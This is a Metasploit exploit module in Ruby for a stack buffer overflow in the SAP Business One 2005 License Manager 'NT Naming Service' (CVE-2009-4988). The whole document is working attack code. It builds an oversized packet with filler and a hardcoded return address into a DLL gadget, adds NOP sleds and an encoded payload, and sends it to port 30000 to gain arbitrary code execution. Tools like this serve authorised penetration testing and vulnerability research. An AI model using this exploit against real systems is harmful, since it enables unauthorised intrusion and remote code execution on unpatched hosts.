##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SAP Business One License Manager 2005 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the SAP Business One 2005
          License Manager 'NT Naming Service' A and B releases. By sending an
          excessively long string the stack is overwritten enabling arbitrary
          code execution.
      },
      'Author'         => 'Jacopo Cervini',
      'References'     =>
        [
          [ 'OSVDB', '56837' ],
          [ 'CVE', '2009-4988' ],
          [ 'BID', '35933' ],
          [ 'EDB', '9319' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # patrickw tested OK w2k3sp2 20090910
          [ 'Sap Business One 2005 B1 Universal', { 'Ret' => 0x00547b82 } ], # tao2005.dll push esp /ret
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 1 2009'))

      register_options([Opt::RPORT(30000)], self.class)

  end

  def exploit
    connect

    sploit =  "\x47\x49\x4f\x50\x01\x00\x01\x00" + rand_text_english(1024)
    sploit << [target.ret].pack('V') # EIP for w2k3sp2 - jacopo (1024)
    sploit << [target.ret].pack('V') # EIP for w2k3sp0 - patrickw (1028)
    sploit << make_nops(44) + payload.encoded + make_nops(384)

    print_status("Trying target #{target.name}...")
    sock.put(sploit)
    select(nil,nil,nil,1)

    handler
    disconnect
  end

end
